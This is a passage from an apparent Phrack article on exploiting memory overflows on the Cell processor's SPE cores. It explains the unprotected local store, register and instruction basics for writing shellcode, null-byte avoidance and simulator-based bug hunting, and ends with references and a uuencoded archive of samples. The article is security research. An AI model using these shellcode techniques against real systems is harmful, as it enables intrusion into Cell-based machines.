/* Issue the DMA and wait until completion */
|
|
mfc_read_tag_status_all();
|
|
}
|
|
--- end code ---
|
|
|
|
And now between two SPEs (also for the complete code, please refer to the
|
|
attached sources):
|
|
|
|
--- PPE code ---
|
|
speid_t speid[2]
|
|
speid[0]=spe_create_thread (0, &dma_spe1, NULL, NULL, -1, 0);
|
|
speid[1]=spe_create_thread (0, &dma_spe2, NULL, NULL, -1, 0);
|
|
|
|
for (i=0; i<2; i++) local_store[i]=spe_get_ls(speid[i]); /* Get local storage address */
|
|
|
|
for (i=0; i<2; i++) spe_kill(speid[i], SIGKILL); /* Send SIGKILL to the SPE
|
|
threds */
|
|
--- end code ---
|
|
|
|
--- SPE code ---
|
|
/* Write something to the PPE */
|
|
spu_write_out_mbox(buffer);
|
|
|
|
/* Read something from the PPE */
|
|
pointer = spu_read_in_mbox();
|
|
|
|
/* DMA interface */
|
|
mfc_get(buffer, pointer, size, tag, 0, 0);
|
|
wait_on_mask(1<<tag);
|
|
|
|
/* DMA something to the second SPE */
|
|
mfc_put(buffer, local_store[1], size, tag, 0, 0);
|
|
wait_on_mask(1<<tag);
|
|
|
|
/* Notify the PPE */
|
|
spu_write_out_mbox(1);
|
|
--- end code ---
|
|
|
|
------[ 3 - Exploiting Software Vulnerabilities on Cell SPE
|
|
|
|
I love the architecture manuals and the engineers and the way they talk
|
|
about really dumb design choices:
|
|
|
|
"The SPU Local Store has no memory protection, and memory access wraps
|
|
from the end of the Local Store back to the beginning. An SPU program is
|
|
free to write anywhere in the Local Store including its own instruction
|
|
space. A common problem in SPU programming is the corruption of the SPU
|
|
program text when the stack area overflows into the program area. This
|
|
problem typically does not become apparent until some later point in the
|
|
program execution when the program attempts to execute code in area that
|
|
was corrupted, which typically results in illegal instruction exception.
|
|
Even with a debugger it can be difficult to track down this type of
|
|
problem because the cause and effect can occur far apart in the program
|
|
execution. Adding printf's just moves failure point around".
|
|
|
|
---[ 3.1 - Memory Overflows
|
|
|
|
In the aforementioned memory design of the SPU is already cleaver that
|
|
when an attacker controls the overwrite size it's really easy to exploit a
|
|
SPU vulnerability, just replacing the original program .text with the
|
|
attacker's one.
|
|
|
|
It's important to note that the SPU interrupt facility can be configured
|
|
to branch to an interrupt handler at address 0 if an external condition is
|
|
true (bisled - branch indirect and set link if external data is the
|
|
instruction used to check if there is external data available). Since the
|
|
memory layout loops around, it's always possible to overwrite this handler
|
|
if it's been used.
|
|
|
|
Another important note is the fact that instructions on memory MUST be
|
|
aligned on word boundaries.
|
|
|
|
There is instruction and data caches for the local storage (depending on
|
|
the implementation details), so it's important to assure:
|
|
- You are overflowing a large enough amount of data to avoid
|
|
caching
|
|
- You are not using a self-modifying shellcode unless you issue
|
|
the sync instruction (see [13] for references)
|
|
|
|
|
|
---[ 3.1.1 - SPE memory layout
|
|
|
|
The memory layout for the SPE looks like:
|
|
|
|
------------------------ -> 0x3FFFF
|
|
SPU ABI Reserved Usage
|
|
------------------------ | Stack grows from the
|
|
Runtime Stack | higher addresses to
|
|
------------------------ | the lower addresses.
|
|
Global Data |
|
|
------------------------ \/
|
|
.Text
|
|
------------------------ -> 0x00000
|
|
|
|
For the purpose of test your application, it's really interesting to use the
|
|
'size' application:
|
|
|
|
---------- begin output ----------
|
|
# size hello_spu
|
|
text data bss dec hex filename
|
|
1346 928 32 2306 902 hello_spu
|
|
---------- end output ----------
|
|
|
|
|
|
|
|
---[ 3.1.2 - SPE assembly basics
|
|
|
|
It's important in order to develop a shellcode to understand the
|
|
differences in the SPE assembly when comparing to PowerPC.
|
|
|
|
The SPE uses risc-based assembly, which means there is a small set of
|
|
instructions and everything in the SPE runs in user-mode (there is no
|
|
kernel-mode for the SPE). That said we need to remember there is no
|
|
system-calls, but instead there is the PPE calls (stop instructions).
|
|
|
|
It is also a big endian architecture (keep that in mind while reading the
|
|
following sections).
|
|
|
|
This architecture provides many ways to avoid branches in the code for
|
|
maximum efficiency. Since it's not a real problem while exploiting
|
|
software, I'll just avoid to talk about and will also avoid to talk about
|
|
SIMD instructions. For more informations on that refer to the SPU
|
|
Instruction Set Architecture document [12].
|
|
|
|
|
|
---[ 3.1.2.1 - Registers
|
|
|
|
I already explained a little about the way the architecture works and in
|
|
this section I'll just include what is the available register set and how
|
|
to use it .
|
|
|
|
The SPE does not define a conditional register, so the comparison
|
|
operations will set results that are either 0 (false) or 1 (true) with the
|
|
same width as the operands been tested. This results are used to do
|
|
bitwise masking, instruction selection or conditional branching.
|
|
|
|
As any other platform, there is general purposes registers and special
|
|
purpose registers in the SPE:
|
|
- General Purpose Registers (0-127) Used in different ways by the
|
|
instructions. In the second word of R1 you have the information
|
|
about the amount of free space in the stack (the room between
|
|
end of the heap and the start of the stack).
|
|
|
|
- Special Purpose Registers
|
|
The SPE also supports 128 special-purpose registers. Some
|
|
interesting ones:
|
|
* SRR0 - Save and Restore Register 0 - Holds the address
|
|
used by the interrupt return (iret) instruction
|
|
* LR - Link Register - All branch instructions that set
|
|
the link register will force the address of the next
|
|
instruction to be loaded on this register
|
|
* CTR - Count Register - Usually it's used to hold a loop
|
|
counter (like the loop instruction and %ecx register in
|
|
intel x86 architecture)
|
|
* CR - Condition Register - Used to perform conditional
|
|
comparisons
|
|
|
|
|
|
To move data between Special Purpose Registers and General Purpose
|
|
Registers we have the instructions
|
|
* mtspr (move to special purpose register) mfspr (move from
|
|
* special purpose register)
|
|
|
|
|
|
---[ 3.1.2.2 - Local Storage Addressing Mode
|
|
|
|
In order to address information to/from Local Storage the instructions
|
|
uses the following structure:
|
|
Instruction_Opcode l10_field RA_field RT_field
|
|
8-bit 10-bit 7-bit 7-bit
|
|
|
|
Where: The signed value of the l10 field is appended with 4 zeros and then
|
|
added to the preferred slot in the RA, forcing the 4-rightmost bits of the
|
|
sum to zero. After, the 16 bytes of the local storage address are
|
|
inserted in the RT field.
|
|
|
|
Preferred slot for the architecture point of view are the leftmost
|
|
4 bytes (not bits).
|
|
|
|
Important to note here that the IBM convention specifies that:
|
|
l10 means a 10-bit immediate value
|
|
RA means a general purpose register to be used as
|
|
source/destination
|
|
RT means a general purpose register to be used as destination
|
|
(target)
|
|
|
|
Knowing that makes it easier to understand why the Local Storage Address
|
|
Space is limited to 4 GB.
|
|
|
|
The actual size of the Local Storage can be viewed accessing the LSLR
|
|
(local storage limit register). All effective address are ANDed with the
|
|
value in the LSLR before used.
|
|
|
|
---[ 3.1.2.3 - External Devices
|
|
|
|
The SPU can send/receive data to/from external devices using the channel
|
|
interface. The channel instructions uses quadwords (128bits) to transfer
|
|
data to/from general purpose registers and the channel device (which
|
|
supports 128 channels).
|
|
|
|
|
|
---[ 3.1.2.4 - Instruction Set
|
|
|
|
Here are some useful instructions to be used while developing a shellcode
|
|
for the SPE.
|
|
|
|
Instruction Operands Description
|
|
Sample
|
|
-------------------------------------------------------------------------
|
|
lqd (load quadword) rt,symbol(ra) load a value (16 bytes)
|
|
from Local Storage (pointed by RA to the general purpose register RT)
|
|
lqd $0, 16($1)
|
|
|
|
stqd (store quadword) rt,symbol(ra) the contents of the
|
|
register (RT) are stored at the local storage address pointed by RA
|
|
stqd $0, 16($1)
|
|
|
|
ilh (immediate load halfword) rt,symbol the value of l16 is placed
|
|
in register RT
|
|
ilh $0, 0x1a0
|
|
|
|
il (immediate load word) rt, symbol the value of l16 is
|
|
expanded to 32bits replicating the leftmost bit and then written to the RT
|
|
il $0, 0x1a0
|
|
|
|
nop (no operation) rt this instruction uses a
|
|
false RT and nothing is changed
|
|
nop $127
|
|
|
|
ila (immediate load address) rt, symbol the value of the l18 is
|
|
placed in the rightmost 18bits of RT (the remaining bits of RT are zeroed)
|
|
ila $3, 0x340
|
|
|
|
a (add word) rt,ra,rb the operand on register ra
|
|
is added to the operand on register rb and the result is written to RT
|
|
a $0, $1, $2
|
|
|
|
ai (add word immediate) rt,ra,value the value (l10 field) is
|
|
added to the operand in ra and the result written to RT
|
|
ai $1, $1, -32
|
|
|
|
brsl (branch relative and set link) rt,symbol execution proceeds to the
|
|
target instruction and a link register is set (the symbol is a l16 type
|
|
and it is extended to the rigth with two 0 bits) - The address of the
|
|
current instruction is added to the symbol address for the branch. The
|
|
address of the next instruction is written to the preferred byte of the RT
|
|
register.
|
|
brsl $0, 0x1a0
|
|
|
|
fsmbi (form select mask for bytes immediate) rt,symbol the symbol is a
|
|
l16 value used to create a mask in the register RT copying eight times
|
|
each bit. Bits in the operand are related to bytes in the result in a
|
|
left-to-right correspondence. fsmbi $3, 0
|
|
|
|
bi (branch indirect) ra execution proceeds to the
|
|
preferred slot of RA. The right two bits in the RA are ignored (supposed
|
|
to be zero). There is two flags, D and E to disable and Enable
|
|
interrupts.
|
|
bi $0
|
|
|
|
|
|
|
|
---[ 3.1.3 - Exploiting Software Vulnerabilities in SPE
|
|
|
|
First of all it's important to make it even more clear that it is
|
|
impossible to, for example, force the SPE process to execute a new command
|
|
(a.k.a. execve() shellcodes). The same happens for network-based library
|
|
functions and others, as already explained we need the PPE to proxy that
|
|
for us.
|
|
|
|
So it open two new paths:
|
|
- Create a PPE shellcode to be used while exploiting PPE software
|
|
vulnerabilities that will spawn a proxy for commands received by
|
|
the SPE and will create a SPE thread to do all the job -> This
|
|
is pure PPC shellcode and this article already discussed
|
|
everything needed to achieve that. In the attached sources you
|
|
have samples in the directory cell-ppe/ [16].
|
|
- Create a vulnerability specific code for the SPE, that will
|
|
print out internal program information related to the exploited
|
|
SPE. This is specially interesting and difficult because:
|
|
* Need to remember that the SPE uses instruction-cache, so
|
|
sometimes if you overflow just a small amount of bytes,
|
|
it will be specially difficult to get it executed
|
|
* If you use the wrap-around characteristics of the memory
|
|
layout for the SPE, you will probably overwrite also the
|
|
information you are interested in.
|
|
|
|
In the other hand, it's important to say that everything the information
|
|
will be in the same place (or easier to understand: there is no ASLR in
|
|
the SPE). Running the attached samples (specially the SPE-SPE
|
|
communications because it's printing the pointers addresses will make it
|
|
clear to the reader).
|
|
|
|
|
|
---[ 3.1.3.1 - Avoiding Null Bytes
|
|
|
|
It is important to avoid null bytes, so we cannot use the NOP instruction
|
|
in our shellcode.
|
|
|
|
This creates a problem, since the ori instruction will also generate null
|
|
byte if used with 0 as an argument (e.g: ori $1, $1, 0).
|
|
|
|
A good replacement is the instruction or (e.g: or $1, $1, $1) or the usage
|
|
of multiple instructions (which will reduce the probability of your return
|
|
address).
|
|
|
|
|
|
---[ 3.1.4 - Finding software vulnerabilities on SPE
|
|
|
|
The simulator provided by IBM has a feature that monitors selected
|
|
addresses or regions on the Local Store for read and write accesses. This
|
|
feature can help identify stack overflows conditions.o
|
|
|
|
Invoked from the simulator command windows as follows:
|
|
enable_stack_checking [spu_number] [spu_executable_filename]
|
|
|
|
This procedure uses the nm system utility to determine the area of the
|
|
Local Storage that will contain the program code and creates trigger
|
|
functions to trap writes by the SPU into this region.
|
|
|
|
Important to notice that this approach are just looking for writes in the
|
|
text and static data and not to the heap. Of course the same approach
|
|
used by this feature could be used to help the creation of a fuzzer using
|
|
TCL scripts based on the one provided.
|
|
|
|
------[ 4 - Future and other uses
|
|
|
|
I can't foresee the future, but this kind of architectures are becoming
|
|
more and more common and will open a wide range of new vulnerabilities.
|
|
|
|
The complexity behind this kind of asymmetric multi-threaded architectures
|
|
are even higher than the normal ones. The lack of memory protection will
|
|
help also the attackers on how to subvert those systems. The main
|
|
processor been based on an already well-known architecture (powerpc) also
|
|
helps the dissemination of malicious codes.
|
|
|
|
Many other researchers are doing stuff using Cell:
|
|
- Nick Breese presented on Crackstation project in BlackHat [5]
|
|
Basically he used the SIMD capabilities and big registers
|
|
provided by the architecture to crack passwords [5]
|
|
|
|
- IBM Researchers released a study about the usage of the Cell SPU
|
|
as a Garbage Collector Co-processor [14]
|
|
|
|
- Maybe there is JTAG-based interfaces on the cell machines to try
|
|
to use RiscWatch [15]
|
|
|
|
- Unfortunelly the SPU access are controlled by the PPE so run
|
|
integrity protection mechanisms from SPU seens infeasible ->
|
|
Anyway, I wrote a network traffic analyzer using cell as base
|
|
architechture.
|
|
|
|
|
|
|
|
------[ 5 - Acknowledgments
|
|
|
|
A lot of people helped me in the long way for these researches that
|
|
resulted in something funny to be published, you all know who you are.
|
|
|
|
Special thanks to the Phrack Staff for the great review of the article,
|
|
giving a lot of important insights about how to better structure it and
|
|
giving a real value to it.
|
|
|
|
I always need to thanks to Filipe Balestra, my research partner, for
|
|
sharing with me his ideas, feedbacks, comments and experiences improving a
|
|
lot the article and the samples.
|
|
|
|
I'll never ever forget to say thanks to my research team and friends at
|
|
RISE Security (http://www.risesecurity.org) for always keeping me
|
|
motivated studying completely new things. Be sure that the unix-asm [16]
|
|
project will be updated soon with all the stuff showed here and much more
|
|
different types of shellcodes for the architecture. Also, of course the
|
|
updates will be available for Metasploit.
|
|
|
|
Big thanks to the Cell Kernel guru, Andre Detsch for sharing with me his
|
|
ideas and discussing the internals of the Linux implementation for Cell.
|
|
|
|
Conference organizers who invited me to talk about Cell Software
|
|
Exploitation, even after many people already talked about Cell they
|
|
trusted that my talk was not about brute-forcing (yeah, a lot of fun in
|
|
completely different cultures).
|
|
|
|
To my girlfriend who waited for me (alone, I suppose) during this travels.
|
|
|
|
It's impossible to not say thanks to COSEINC, for let me keep doing this
|
|
research using important company time.
|
|
|
|
------[ 6 - References
|
|
|
|
[1] Cell Broadband Engine Architecture, v1.01 October 2006
|
|
http://cell.scei.co.jp/pdf/CBE_Architecture_v101.pdf
|
|
|
|
[2] Sony Computer Entertainment
|
|
http://www.sony.com
|
|
|
|
[3] Toshiba Corporation
|
|
http://www.toshiba.com
|
|
|
|
[4] IBM Corporation
|
|
http://www.ibm.com
|
|
|
|
[5] Breese, Nick; "Crackstation"; Black Hat Europe 2008
|
|
http://www.blackhat.com/presentations/bh-europe08/Bresse/Presentation/bh-eu-08-breese.pdf
|
|
|
|
[6] IBM Power Architecture
|
|
http://www-03.ibm.com/chips/power/
|
|
|
|
[7] IBM Bladecenter QS21
|
|
http://www.ibm.com/systems/bladecenter/hardware/servers/qs21/index.html
|
|
|
|
[8] IBM Roadrunner Supercomputer
|
|
http://en.wikipedia.org/wiki/IBM_Roadrunner
|
|
|
|
[9] The cell project at IBM Research
|
|
http://www.research.ibm.com/cell/
|
|
|
|
[10] Cell Simulator
|
|
http://www.alphaworks.ibm.com/tech/cellsystemsim
|
|
|
|
[11] Cell resource center at developerWorks (SDK download)
|
|
http://www-128.ibm.com/developerworks/power/cell/
|
|
|
|
[12] Synergistic Processor Unit Instruction Set Architecture v1.2
|
|
http://www-01.ibm.com/chips/techlib/techlib.nsf/techdocs/76CA6C7304210F3987257060006F2C44/$file/SPU_ISA_v1.2_27Jan2007_pub.pdf
|
|
|
|
[13] Moore, H.D; "Mac OS X PPC Shellcode Tricks"; Uninformed Magazine 2005
|
|
http://www.uninformed.org/?v=1&a=1&t=txt
|
|
|
|
[14] Cher, Chen-Yong; Gschwind, Michael; "Cell GC: Using the Cell Synergistic Processor as a Garbage Collector Coprocessor"; 2008
|
|
http://www.research.ibm.com/cell/papers/2008_vee_cellgc_slides.pdf
|
|
|
|
[15] RISCWatch Debugger
|
|
http://www.ibm.com/chips/techlib/techlib.nsf/products/RISCWatch_Debugger
|
|
|
|
[16] Carvalho, Ramon de; "Cell PPE Shellcodes"; RISE Security;
|
|
http://www.risesecurity.org/papers/lopbuffer.pdf
|
|
|
|
|
|
Others:
|
|
|
|
PowerPC User Instruction Set Architecture, Book I, v2.02 January 2005
|
|
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book1_public.pdf
|
|
|
|
PowerPC Virtual Environment Architecture, Book II, v2.02 January 2005
|
|
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book2_public.pdf
|
|
|
|
PowerPC Operating Environment Architecture, Book III, v2.02 January 2005
|
|
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book3_public.pdf
|
|
|
|
Cell developer's corner at power.org
|
|
http://www.power.org/resources/devcorner/cellcorner/
|
|
|
|
Linux info at the Barcelona Supercomputing Center website
|
|
http://www.bsc.es/projects/deepcomputing/linuxoncell
|
|
|
|
|
|
------[ 7 - Notes on SDK/Simulator Environment
|
|
|
|
There is some pictures on the simulator and sdk running on the attached file:
|
|
images/cell-sim1.jpg and images/cell-sim2.jpg
|
|
|
|
To install the SDK/Simulator, do:
|
|
- Download the Cell SDK ISO image from the IBM alphaWorks website.
|
|
- Mount the disk image on the mount directory: mount -o loop
|
|
CellSDK<version>.iso /mnt/phrack
|
|
- Change directory to /mnt/phrack/software:
|
|
- Install the SDK by using the following command and answer any
|
|
prompts: ./cellsdk install
|
|
|
|
To start the simulator: cd /opt/IBM/systemsim-cell/run/cell/linux
|
|
../run_gui Click on the 'go' button to start the simulated system
|
|
|
|
To copy files to the simulated system (inside it run):
|
|
callthru source /home/bsdaemon/Phrack/hello_ppu > hello_ppu
|
|
|
|
Then give the correct permissions and execute:
|
|
chmod +x hello_ppu
|
|
./hello_ppu
|
|
|
|
|
|
|
|
------[ 8 - Sources [cell_samples.tgz]
|
|
|
|
Attached all the samples used on this article to be compiled in a Linux
|
|
running on Cell machine.
|
|
|
|
Further updates will be available in the RISE Security website at:
|
|
http://www.risesecurity.org
|
|
|
|
For the author's public key:
|
|
http://www.kernelhacking.com/rodrigo/docs/public.txt
|
|
|
|
begin 644 cell_samples.tgz
|
|
M'XL(`#EF&$H``^P]:W/;.)+Y:E7-?T`EF5G;D62^*2>9U#E./.-:QW'9SLW-
|
|
M;;9<%`G9O%"DAJ3\F*O[[]<`2`E\2K)H64Z`LBV+`!J-;C38W0`:-O:\B\@:
|
|
MCCP<[3Q[F"1!,G6=?D+*?]+_95F1#,F`/\HS258467F&]`?")Y/&46R%"#T+
|
|
M@R"N*S<K_XDFF^>_@_OCR^9'P?S\UW5#@7*RJDJFX/\J4@G_Z=^+T6C<M9MI
|
|
M@S#8T+1*_NN:G/)?-E4B_[JF2,^0U$SS]>D'Y__.=@MMH_U@=.?A08PV][>0
|
|
M(DF[Y.'&:>"$[F6`3L=]-[30^]#R[0!MOC_[8.%AX&\A*+7Q-F2E+OHL>]L/
|
|
MSD[V/FVC$$?8"NVKKAU$V/5M^!R^:VWOM%JM%_#5&SL8O8UBQPVZ5^^X1Y[;
|
|
MCT:8/&OAVQB'/H*O%Z,PN`RMX<65Y3L>OH@1&Z71:/RFU7+]&`TMU]^\#EQG
|
|
MJ_6_K0WR!!@;CZ,WK0VH[SI0A7Y"<?8`_4H!VR&V8@!X!9\.VI3:Z)<)Z#8Z
|
|
M_G)TE/[MR&TDH2T&\.+&<H%<%!)486VUD;Q%X(<X'@/>TIO6_[4>F\$S4HG\
|
|
M?[*^X8'KX<;:F"7_BF:F\B_!W`_RKYFJ)N1_%>G#X>D9>DU$8=S:/SC:^XU^
|
|
MZURVCCZP;Z_@VQ]>N_/)&K7[D4,EOSNT1JV3T\^_G>Y](B\*4F7RUIAD`$CT
|
|
MZU1.6X>?3CZ?GJ>M[4PRNA;J>"!(K70*>+EY_OED:V<(X[`[`++C<-VEZ.FF
|
|
M$ODGS&FTC07T/WC_FT3^9=D0^M\J4@7_I\+9@`XX8_Z7)45)^"^;F@'E9$-1
|
|
M93'_KR*MG_XW]EUXFGT&#T`MS#ZS^_AB.+!S!4=C\I#!3/5'H@Q>X!B^O<D^
|
|
M<JS8RCWR':9/MK+ZY"B$9X/-YU_]7QBDU^CGT5?_>3OY2K3"3!D"FBM#OA;*
|
|
M^`Y7PG>R^5$__+8I;:4EDJ_9,D/+\P)[$P1(FQ3DG\T)\4DIK"(UFBKF_T9M
|
|
M@%GZOVRF\[]FFII$['](8OY?1:I2UA-;@)D"A^]/]T[_O,##/G;X4EUKHM3_
|
|
M"EK[V8=_0E&2L;4#T[4-V4*E7_.4D7_/M;$?X6Y\V^A0GRG_H/,1^=<54]85
|
|
MXO_3-$GX_U:2'D/_>^P^BS1-&?FWHN%#K`$N9/\KY/VOF*8L[/]5I`+_P?RZ
|
|
MA<^.W%6[4F<4W.!PV3$Q/_]50U4,:O_K@O\K27/QWW-]]E^G[SM18'^S`P<;
|
|
M6O=LOC9FO/]U0R/ZORP314`EZW^*0MR`XOV_@K2S_1-YUZ.7A\YK5,EGI$E$
|
|
M+>AU9+DCFTA27FOZ:U7Z;Q1:H`B@EP0&@U,-HH..7']\BT[HD-I__W$/'>/X
|
|
M)@B_H0B'USA$I"B#0O014"JN8MHJ.J6M@!FQ;X77EG<5H/^T/`^CM[3Y_PC=
|
|
M"'0->QRZ\5TW""_?3=$YOW(CP`ETD_`.P;^#$&,4!8/XQ@KQ&W07C)%M^:"K
|
|
M.&X4AVY_'&/DQLCRG9T@9""&@>,.[LC3L>\`EO$51F"_#",4#.B7WXZ_H",<
|
|
M02?0;]C'H>6ADW$?=&E6_X@IU<B*T(@\CJ[`B.K?T:H'!)VS!!UT$$`+5NP&
|
|
M_AN$7<A/,`#:1/`0*5TY;3,!VD9!B#:MF'0D1,&(U-T"[.^09P&.:<UN-4&F
|
|
M_7:0ZU/85\$(>G@%4*'/-Z[GH3Y&XP@/QEZ;`8'BZ(_#\]\_?SE'>\=_HC_V
|
|
M3D_WCL__?`/%XZL`<O$U9L!<F%E<@`T=!/TPOH,.,!B?/I[N_PZ5]MX?'AV>
|
|
M_TDZ<G!X?OSQ[`P=?#Y%>^AD[_3\</_+T=XI.OER>O+Y[&,7H3.,4YHGU"TC
|
|
M_(3F`X`Z#("T#HXMUXLX0OP)K(\`5\]!5]8UAB%@8_<:,+5@'([N%F6N%_B7
|
|
MM/=0:TKA-\@=(#^(V^@&!B>@'A39S@!->=]&AZ`LMY$N0SG+_P82A<YBJ`%0
|
|
M#MP!M'#@!4'81N^#*";%/^TAD$B8/CNR*LD(?3G;2[NY\U/KIU8BXOO!<.2"
|
|
MT"1($N)X7G#C`MZ@F0]AR%/JH)?HTK91YP^0,-0)J@2Z6M`S;4\\L\\](ORL
|
|
M1O?J.<E#D+J77M#WZ.(]>40^7Y-_,C!?L[*WP$R2?@Y5N3WYP_(\UTORE-WV
|
|
MQ<7^WE':P@M$`.$X_6Y;DY*]=D>7Y5?R)JFU5<@V6;;"9T>Q,Y[@T.E!EES(
|
|
M(7`K<LQLSI!U"'(TZ(N<QT"%GASO7S#\RY&4^"+PV..+=>F@A,%QJVD#2)*2
|
|
M;U8Q"`VGI.J[OE-"*#TAE)%"9R7HP")I&Z85?CS]=G(:$?MO[,5D4OD;AT&$
|
|
M;JY@2H!IQ&$CT'/'D`>3S]B.DRF*@8(FM#;\E0WRMT?^2&EF^KF3HD"@)$BJ
|
|
M;>EVVL<@9"."9B2YDN8H*4O2:H2-6H99',!,#D<U9<HMCKEZ)=N5RASC/@."
|
|
M<*FAX9`R'EY+,?;3[_.,\IKQ?Z].,0P:[I9EVW@T$?WY$&%U'D;<Y%3<I-<I
|
|
MBLYXI)0CJ)CYIW0D%_!.D"*`YJ.+Y793A,PVFY42H/U+3'.D/BD+FHKG9:;@
|
|
M%]Q$"P,@F6C)=YB<N^RYWDY^$Y`^IC4X8$FW!EZ80)(*K)#:,.%LDG\*/%#9
|
|
M9*0:?'84]U':/,W6U&QV.C@KA52=8]"^*%(=WV+[&I.VY*K1,BDR<Z1TK<AV
|
|
M_T;H^0Z(^$[$7I,/J_\O:/_9?IR^E^??&5!O_X'9)^EY^\^0Q?ZOE23F_\V;
|
|
M?QDVSS+^`$#.],M6KS'\[,#WL1U3RZ\)PR]%92FS;TFK;VFCKR&;KXH6"UI\
|
|
M#1A\S=A[]S'W4AHL:^PU9>L]@*G'NKC3:KUP\,#U052.S\\^[_]S[\.'4QGI
|
|
M6MES!>F]_'.RC(N0H;1:]A5,B)P(_^O?OZ(T[0#^<D^%H1SC"%4E0(=\//]Z
|
|
M:PZ^@E(.OQ;\WWL^!9(:<T2-2'XK@:C]K[>6]/56D@DP#HCGLO^)T0<O_5I,
|
|
M")!=!P!@`*1P0"S'<1F07IL``O5!J@-BID#44B!F`D3:K0*R:WZ]Q7)"%YL#
|
|
M$L4WXY0F8'J`+E+='0*D5PN$F*%S`#'J@9@S@9CVUUM%`WKT<RQ.52C0H,(R
|
|
MWF0(V^,(6\H=M8(Y.2!R`L0PRX!(#(B69PX'1-,2>@QRF$1V:1\J:6+"D)<K
|
|
M:0)&4JC.H`E45I/NR'+I8-.3_NSJE4"@,I:8($I21G:B!!.UK2JZK-1@8BB`
|
|
MA4D`$"'D@("5/0%"?HMLYC`!>M@$`!#844JE6&G+BJK5T637F"4[S&RO'_8`
|
|
MQ*X'HLP&HG*R@[-`DNZ`["BS94?5ZV0'3,9RX<E*L5+?'7TNFECU0.:;E+1Z
|
|
M(,8CS"=:W7P"6F8=D#693Z"R0>2FCB:*.1N(!J/64:N`$)H8]4!XFFA2'4VT
|
|
M:L(V0A,5!IO93P'E,+&[Z;N8.#>J@6@P(?4D!@3S([9_B5^1_]]RBM`K6>J]
|
|
M*R,LC%@+I%@A2LYN5LFA3I$0YFGR4]<=BHF2=,?A,?&Q]ZJ`B:J48@*5[1XA
|
|
M*F!D\"Q.G"VAFG]]EA`6B.K@$G5K*CO`8^:BJ09"!!"S<:+H%0((,#J:F2<+
|
|
M-Y\`D'X*)#N?,'</<>=H1F^3>'HJ@6BS9K:JV3$'I%Y3JGKM/,3,E@J@9-<(
|
|
MH"Y5:TH-"&#JHFJ]$1NZGG!:T/\W\>(N<BYHQOX/@SC[<OX_Q13G?U:2ROU_
|
|
M')L7]_[QE4M\?Y-LX?`3#C_A\+N_PX_ZZ2(<DX5VU\EZZLB[7-%FN.ER.A^N
|
|
M=;&I\DP76T8/+G7VS:$'$R`]4$\4I0H(*$GD9Q80`\P<N=KMV*8_M30AFM:`
|
|
M:5I6J0HK4==E1]7REE=3FM8;GLL%)C,N2X_`Y?5CD%9EGU-?JE9MJ#3&H")[
|
|
M$G>Y\0@,:I2V<J^.MKV'LO,GM$T5A@QI*1Q=?\PIKA%3?[?,U)]T^5TE$&'J
|
|
MEP#Y#DW]P0Q3G\C@"DU]*I'XUHV+`OF=S';ERT\II6N6GY:>[1[#_KNO_6]H
|
|
M3>W_D51=D?/VOZ:*\]\K23/L?\+F)3P`M+KP`0@?@/`!/*0/8"IN^;TZW[V"
|
|
M;&CO*H`(!;D(9-#C%.3=#!!GHB#W9NBV!(A1"T2=#>2[59`?^X6^8%IB__><
|
|
MIW]GG_^%:2VO_^FF(?2_5:2*\[\9/M_G]&\6P)Q;P,7A7W'X5QS^7<O#OYP\
|
|
M5TEY(P=_.8AK=>QWCO.BO<H<L^HDZ9H<^TWFX*=\\M<<2%+-R5])*HX8I>)(
|
|
M</[@+Y>CY',F%*5[?4L/"\O\8>$))+VRC>H!9MQG&"6\;>Q@[1(G5XW5GUQM
|
|
M\-SJ8YQ:'4^SR\=$Y1GU[_O4JDA-I07MO\$#Q'_2#,DLQ'_25&'_K2)5V'^#
|
|
MY>,_Y4&4V(`'KN\D>IJP_X3])^R_];7_!A7!GP8/$/QIT&#PITL<CS`.?6N(
|
|
MI]%MJHPY3FOOE:G4J6TX-8>R\*H-/6IQR<7X.OE8.?-$D>(C[TSU<4[5E%,U
|
|
MM*C<L3T,S/A5Y:VBQ9?6+59-:DY;KL:J4A4M6"<<>QH-_9,Q85F/E%Y2R[OZ
|
|
M>YHWM?7U*37(M$7`MFD1<B9U8A/0FLS(R+6CY?P&/[7D>4PE+?]4Y49V,Z82
|
|
M:Z=@*LDBR(\PEY;8_]/4^@\H^X7S/YHB]/^5I`K]/\/G^VC_60!U6X"$TB^4
|
|
M?J'TKZ72SPEQE6@WHO`7=9`?6@.90_]H3+F8]_T_Y>;B[YA9^W\-,[__5S)E
|
|
M\?Y?2<KM_YVR>8%=O]-*8CNOV,XKMO,N$<//'<!(':"CP^,O_W5Q\OF/CZ<7
|
|
MOT\B]66?3A[3UR.T+_./CD\OR"D=E"0YGT5>*$E6+H\=961YBIK-(^Z'%*2A
|
|
M%NK1,ZHDSY1*\B*6"9-\+G/BVX%,2<GT8C_3B\XFZVMGVL&M?.EIQPJE25:N
|
|
M/-_97'F6E2O/$R!7GF05H4](4H1.L\IJ)(0JJQ&55.'(EZ\RR=KBJ7J65BJ.
|
|
MC3,673SMHI+-2O?JD:1FLUCX;E9+RV:Q@-HL2\]F<>X_9+;*^E4D]03['!UX
|
|
MO'/E25:N--^57.DD*U>![V"N`LO*E>=[G2O/LG+E>5+DRG-9A(_8A]=:4QZC
|
|
M^^__;>[^'UDS"NN_NKC_9R5I]O[?^WJ`\B#$'F#A#A+NH*?L#LI(=+6D-^(2
|
|
MRL!<JYW`W_4%0&(G\*IV`L]Q;5##-^S\V#N!Q?+VC[B\+=*,M)3]-V<$D'K[
|
|
M#\P^N1#_PS2$_W\E:>;]/_>+`)('(.X`$NL'8OW@Z=X!Q$<6$7<`+7\'T*#/
|
|
MW6-2'D-#K@BBD072JP7"+-&90.JC>3"C5=P!M"WN`!)W`&6!K,T=0$2*E7HI
|
|
MKHKLPP&Q9D4'4N:;E+1Z(,8CS"?B#B!Q!U`5)HO<`61H_"U`CWD'$,%D>@N0
|
|
MB'OVH\4]$W<`B;1\NO_Y_\;B_YJZ5/#_&9*(_[N25.[_R[!Y<>]?MOH<!_^%
|
|
MWT_X_83?;WF_W\'QAXD?KV<D;CQ.&@M7>9OR$W3C-7*!-C6[[5JSNS?3[.9]
|
|
M@17N&7.F>Z:Q6[B)=Z6F.\9<-PDO?7]O8S>3+\UB-;$,:XP8-F)KC9C4O*SV
|
|
M2LH5=T-D%7;BGJG&A+AX2@=^$0C%I-2<HD!`Z2\X`1Y`=IIUSY3>,#1QS^3=
|
